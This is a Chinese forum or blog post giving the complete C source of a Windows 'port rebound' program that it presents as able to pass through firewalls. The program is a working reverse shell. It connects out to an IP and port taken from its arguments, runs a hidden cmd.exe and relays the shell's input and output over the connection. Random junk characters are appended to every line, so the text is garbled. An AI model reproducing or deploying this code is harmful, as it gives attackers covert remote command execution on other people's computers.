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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _1Iy/T@1  
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/* ============================== }(k#,&Fv`  
Rebound port in Windows NT TUHm.!+a  
By wind,2006/7 h sG~xRA\  
===============================*/ +Z> Y//  
#include =r"-Pm{  
#include &|yQwNA*a"  
~QgyhJM_h=  
#pragma comment(lib,"wsock32.lib") TRP#b 7nC  
 ,5!&}  
void OutputShell(); +`tl<r g;  
SOCKET sClient; i[_ (0P+Da  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yM aU`z  
f++MH]I;  
void main(int argc,char **argv) p)6!GdT  
{ R= ,jqW<  
WSADATA stWsaData; Z6s-n$dSm  
int nRet; JjA3G`m=  
SOCKADDR_IN stSaiClient,stSaiServer; KZy2c6XO;  
mN^w?R41m  
if(argc != 3) jz,Mm,Gi  
{ [.J&@96,b  
printf("Useage:\n\rRebound DestIP DestPort\n"); wpgO09  
return; t/55tL  
} !%MI9Ok  
V`P8oIOh]  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^*s DJ #  
9 5bi W  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b-? wJSf|  
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stSaiClient.sin_family = AF_INET; $HgBzZ7A2  
stSaiClient.sin_port = htons(0); V"Cx5#\7C  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I(^pIe-  
mzw`{Oy>L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e&~vO| 3w%  
{ LGnb"ZN  
printf("Bind Socket Failed!\n"); Dz d[<Qln  
return; n/W@H Im#  
} [|iWLPO1&k  
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stSaiServer.sin_family = AF_INET; y7CC5S ?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5k:SD7^b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D5Zgi!  
y yPQ^{zD  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bn 7"!6  
{ 9NF2a)&~  
printf("Connect Error!"); _{j'` #  
return; Z2n Jw  
} k+9*7y8w  
OutputShell(); /q| r!+  
} \r %y^G  
G^r`)ND  
void OutputShell() PP*6nW8  
{ x[?N[>uw  
char szBuff[1024]; Sg%h}]~   
SECURITY_ATTRIBUTES stSecurityAttributes; wnioIpRkh  
OSVERSIONINFO stOsversionInfo; {6 #Qm7s-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -VZn`6%s  
STARTUPINFO stStartupInfo; DWv(|gO  
char *szShell; Wd`*<+t]  
PROCESS_INFORMATION stProcessInformation; cNbH:r"Ay  
unsigned long lBytesRead; ( p(/  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z*V 8l*  
su$IXI#R-&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .7 K)'  
stSecurityAttributes.lpSecurityDescriptor = 0; j_I[k8z  
stSecurityAttributes.bInheritHandle = TRUE; In[rxT~K}Q  
BiY-u/bH9a  
dU}Cb?]7s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sKy3('5;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <OH{7>V  
WCTmf8f  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =Bg $OX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #B!| sXC  
stStartupInfo.wShowWindow = SW_HIDE; n~"qbtp}  
stStartupInfo.hStdInput = hReadPipe; w"`Zf7a{/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z8Iqgz7|y  
v)p'0F#6A  
GetVersionEx(&stOsversionInfo); !dQmg'_V  
nxWm  
switch(stOsversionInfo.dwPlatformId) @4t_cxmD  
{ =K)[3mX X  
case 1: {EfA#{x  
szShell = "command.com"; eOoqH$ i  
break; i)iK0g"2  
default: g6 H}a  
szShell = "cmd.exe"; mjQZ"h0  
break; 3S5`I9I  
} ~dO+kD  
gt(^9t;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Pz^C3h$5_  
(ZPl~ZO  
send(sClient,szMsg,77,0); 6"Ze%:AZZ  
while(1) _<E.?K$gbU  
{ T_)g/,5>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /Nc)bF%gX  
if(lBytesRead) kYhV1I  
{  )[S#:PP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r>e1IG  
send(sClient,szBuff,lBytesRead,0); $7QGi|W*k  
} l k sNy  
else lfAiW;giJ  
{ TU6(Q,Yi|  
lBytesRead=recv(sClient,szBuff,1024,0); xfF;u9$;  
if(lBytesRead<=0) break; tj? %{L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r|63T%q!  
} "ejsz&n  
} )3 I~6ar  
?8w5tfN6t  
return; `h|Y0x  
}
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